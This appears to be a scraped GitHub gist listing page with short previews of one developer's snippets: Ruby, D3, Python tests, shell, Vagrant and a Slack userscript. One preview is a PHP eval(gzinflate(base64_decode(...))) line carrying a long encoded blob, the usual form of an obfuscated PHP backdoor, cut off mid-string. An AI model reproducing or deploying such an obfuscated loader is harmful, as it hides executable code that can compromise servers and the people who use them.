This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DATE="2013-10-28 00:00:00" | |
METRIC=:total_loc | |
TEAM=[ | |
'Team Member #1', | |
'Team Member #2', | |
'Team Member #3', | |
# ... | |
] | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var test = [1,2,3,4,5]; | |
var tr = d3.select(".cm-workflow").selectAll("p") | |
.data(test) | |
.enter().append("p").attr('text', function(d) { return d }); | |
var test = [5,4,3,2,1]; | |
var tr = d3.select(".cm-workflow").selectAll("p") | |
.data(test) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Testing deployment/router.py # get_deployments | |
def test_filter_by_name(self): | |
self.mox.StubOutWithMock(bottle.request.query, "get") | |
self.mox.StubOutWithMock(bottle.request.query, "getall") | |
self.mox.StubOutWithMock(self.manager, "get_deployments") | |
# FIXME: I just want to get the test to pass first | |
bottle.request.query.get('show_deleted').AndReturn('') | |
bottle.request.query.getall('statuses').AndReturn([]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
describe('#method_name', function() { | |
beforeEach(function() { | |
// Set up | |
}); | |
it('should do something', function() { | |
expect('pending').toBe('complete'); | |
}); | |
// more tests... |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# Function that stops the daemon/service | |
# | |
do_stop() | |
{ | |
if [ ! -e $PIDFILE ]; then | |
return 2 | |
fi | |
pid=`cat $PIDFILE` | |
children=$(ps axo pid,ppid | awk "{ if ( \$2 == $pid ) { print \$1 }}") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- mode: ruby -*- | |
# vi: set ft=ruby : | |
Vagrant.configure("2") do |config| | |
config.vm.box = "precise64" | |
config.vm.box_url = "http://files.vagrantup.com/precise64.box" | |
config.vm.provision :shell, :path => "bootstrap.sh" | |
config.vm.network :forwarded_port, guest: 80, host: 8080 | |
config.vm.provider :virtualbox do |vb| | |
vb.customize ["modifyvm", :id, "--memory", "4096"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/ruby | |
require 'mail' | |
GMAIL_USERNAME = "username" | |
GMAIL_PASSWORD = "password" | |
options = { :address => "smtp.gmail.com", | |
:port => 587, | |
:domain => 'gmail.com', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
tokens="tokens.txt" | |
values="values.txt" | |
textfile="sample.txt" | |
paste $tokens $values | while read token value | |
do | |
sed -i -e "s/$token/$value/g" $textfile | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php eval(gzinflate(base64_decode("DZVHDqwIAkPv0qv/xQKKjEa9IOec2bTIOaeC00/dwLbs5/JKhz/1207VkB7lnyzdSxz9ryjzuSj//MMlgbDtvlzX3gWt+1qG/NhFS5NsaRUX+qMThmWBpCzmm6ypFASoFQCvfQqtFqlAF9LvHBBgHhYpHgjKhVVdMnICPQk/LTSetpe/w2Fur+PgZseuerkmcZZ0jEKjd0k7WLL6KVefJyPjhztLi7AuHOyNkNDkveRUrVTvKuUAGgSZVHBIQzz5L5+1p6nZc6IF4Z6e8MYNy9VKRXReWIK6/swk6Y5laXNjRuZKqb2ctaFkho83eySK0T361+EiN0Xdy9xnPjHjmqRt+myumN2rdaZej6+eBSSApvmInHbsUNcMCPsp4q/4pC2RRd5IcxGUuDQXj7kF4yuyOVU/+qVvTduEQXjAkTlBlSCgW6cFQu6MilOhXUasWgjDbgDnOSoYq0V1kLyJQdjNigiIM2iAl5DlEgSjJpaIR85mYzKLsWwDj+YFjqyHpKDZ6fY1hd3JRABdfg0Hwe9dhTGQ0rQn2j/2VwUBy3O3dQ4hdfAqkqh6b6NmX/0eZV8Ki4AyginkigpU59BwyB75RFkvm6uJIEBdSaoD1MNeECFyL0C7zCYqBkMfIZmlHZHm6YbD+XddXBWkGtqqTljf3zUEBhbGjWl54cBU12ZFdBlmuk/F4gNuaB6txoNNfRDs7hM9DdK8ctULOqVWeTC/CJczXG30JuOx9hrmo+QQ/llHfq4amTbo1HEgnRWnvaw5bHX2T0K1IogO/ShXgBSCObVqeYqe9/AdPX2Q4fSqLEjt0vO0I40AzJxLE5JasHzdpMEfVWb7FqPWFZ09RsbcxTDdViHnBiYr63cT57oea1X6MRxf38OJV+I4svOStSxLP7Ou5RfqWx33SqtVYkSSLRbIYDWDwr7DJ5rT02M+zUIdOWBVxIJqfsKCmxUIKPi2NX6XWsQwfAdTG85w2A5nmf1Z |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name Hide Slack.com image attachments | |
// @namespace https://gist.github.com/andersonvom/f99e5cc08b6f4e221471 | |
// @version 0.0.1 | |
// @description Ignore slack.com image attachments, but still leaves the original link | |
// @author andersonvom | |
// @match https://*.slack.com/* | |
// @grant none | |
// ==/UserScript== |